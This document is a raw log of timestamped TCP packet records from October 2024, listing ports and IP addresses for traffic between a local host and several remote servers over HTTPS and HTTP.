Oct 10, 2024 10:14:04.645731926 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.650610924 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.650670052 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.650722980 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.650815010 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.650841951 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.650880098 CEST	64779	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.650897026 CEST	443	64779	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.652707100 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.652796030 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.652889967 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.652985096 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:04.653022051 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:04.925210953 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:04.925385952 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.925703049 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.925714970 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:04.926018000 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:04.926032066 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:05.019920111 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.020621061 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.020643950 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.021380901 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.021385908 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.066083908 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.066497087 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.066510916 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.066901922 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.066905022 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.093050957 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.093561888 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.093592882 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.099112988 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.099140882 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.129395008 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.129420042 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.129451990 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.129482031 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.129527092 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.129791975 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.129806995 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.129816055 CEST	64781	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.129821062 CEST	443	64781	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.132395983 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.132435083 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.132504940 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.132636070 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.132649899 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.174048901 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.174180984 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.174247980 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.174298048 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.174304962 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.174314022 CEST	64782	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.174318075 CEST	443	64782	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.176646948 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.176738024 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.176812887 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.176939011 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.176974058 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.205344915 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.205379963 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.205425024 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.205430984 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.205466986 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.205660105 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.205677986 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.205697060 CEST	64783	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.205703974 CEST	443	64783	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.208175898 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.208257914 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.208328962 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.208446980 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.208466053 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.225207090 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:05.225265980 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:05.225265980 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:05.225305080 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:05.225414038 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:05.225426912 CEST	443	64780	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:05.225454092 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:05.225466013 CEST	64780	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:05.306060076 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.306699991 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.306735992 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.307425022 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.307434082 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.315500975 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.330578089 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.330647945 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.331183910 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.331207037 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.413558006 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.413743973 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.413846970 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.413995981 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.413995981 CEST	64784	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.414041042 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.414067984 CEST	443	64784	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.416440010 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.416492939 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.416562080 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.416672945 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.416680098 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.433878899 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.433908939 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.433952093 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.434004068 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.434040070 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.445591927 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.445625067 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.445650101 CEST	64785	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.445664883 CEST	443	64785	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.461483955 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.461544037 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.461618900 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.461752892 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.461772919 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.749768972 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:05.754813910 CEST	80	64791	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:05.754899025 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:05.755048037 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:05.759829998 CEST	80	64791	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:05.777378082 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.790532112 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.790595055 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.793035984 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.793049097 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.867743969 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.872652054 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.893641949 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.894184113 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.894264936 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.895129919 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.895153999 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.916811943 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.916831017 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.916891098 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.917186022 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.917195082 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.920150995 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.920155048 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.928086042 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.928122044 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.928138971 CEST	64786	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.928148031 CEST	443	64786	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.959089994 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.959140062 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:05.959213018 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.959378958 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:05.959394932 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022339106 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022360086 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022514105 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.022541046 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022628069 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022708893 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.022733927 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022749901 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.022749901 CEST	64788	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.022758961 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.022768974 CEST	443	64788	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.023787022 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.023804903 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.023860931 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.023883104 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.023895025 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.023935080 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.023984909 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.024003029 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.024009943 CEST	64787	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.024015903 CEST	443	64787	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.025902033 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.025938034 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.026007891 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.026158094 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.026175976 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.029488087 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.029499054 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.029568911 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.029664993 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.029674053 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.113030910 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.115087032 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.115087032 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.115103006 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.115114927 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.115518093 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.116244078 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.116244078 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.116251945 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.116262913 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.227787971 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.227888107 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.227952003 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.227984905 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.228164911 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.228367090 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.228367090 CEST	64789	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.228385925 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.228395939 CEST	443	64789	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.228524923 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.228876114 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.229731083 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.230618000 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.230618000 CEST	64790	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.230623960 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.230629921 CEST	443	64790	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.234121084 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.234165907 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.234219074 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.234663963 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.234673977 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.236411095 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.236439943 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.236498117 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.236758947 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.236768961 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.467778921 CEST	80	64791	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:06.467809916 CEST	80	64791	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:06.467871904 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:06.467916012 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:06.477128029 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:06.477159023 CEST	64791	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:06.614484072 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.617676973 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.617696047 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.618315935 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.618320942 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.680274963 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.680783987 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.680798054 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.681413889 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.681422949 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.684786081 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.685120106 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.685126066 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.685528994 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.685534000 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.722960949 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.723134041 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.723181009 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.723202944 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.723236084 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.723344088 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.723366022 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.723377943 CEST	64792	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.723392963 CEST	443	64792	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.726223946 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.726269960 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.726344109 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.726483107 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.726495981 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.786012888 CEST	64798	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:06.787786961 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.787897110 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.787945986 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.788743973 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.788762093 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.788777113 CEST	64793	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.788785934 CEST	443	64793	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.790864944 CEST	80	64798	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:06.790932894 CEST	64798	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:06.792732954 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.792758942 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.792812109 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.808593988 CEST	64798	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:06.809221983 CEST	64799	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.809237957 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.813508987 CEST	80	64798	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:06.890090942 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.896775007 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.896801949 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.900168896 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.900173903 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.905622005 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.905930042 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.905941010 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:06.906320095 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:06.906323910 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.003688097 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.003756046 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.003921986 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.004048109 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.004076004 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.004087925 CEST	64795	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.004092932 CEST	443	64795	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.006939888 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.006983995 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.007057905 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.007246971 CEST	64800	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.007258892 CEST	443	64800	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.016290903 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.016330957 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.016370058 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.016376972 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.016387939 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.016431093 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.016555071 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.016561031 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.016577005 CEST	64796	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.016580105 CEST	443	64796	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.019042969 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.019148111 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.019234896 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.019407988 CEST	64801	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.019443989 CEST	443	64801	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.030833006 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.031116009 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.031167984 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.031182051 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.031250000 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.031296015 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.031296015 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.031321049 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.031330109 CEST	64794	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.031335115 CEST	443	64794	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.034020901 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.034049034 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.034131050 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.034281969 CEST	64802	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.034307957 CEST	443	64802	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.388850927 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.389427900 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.389453888 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.390651941 CEST	64797	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:07.390665054 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.482543945 CEST	443	64799	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.497354984 CEST	80	64798	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:07.497421026 CEST	64798	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:07.497468948 CEST	443	64797	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:07.497478962 CEST	80	64798	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:07.497520924 CEST	64798	80	192.168.2.4	173.194.76.82
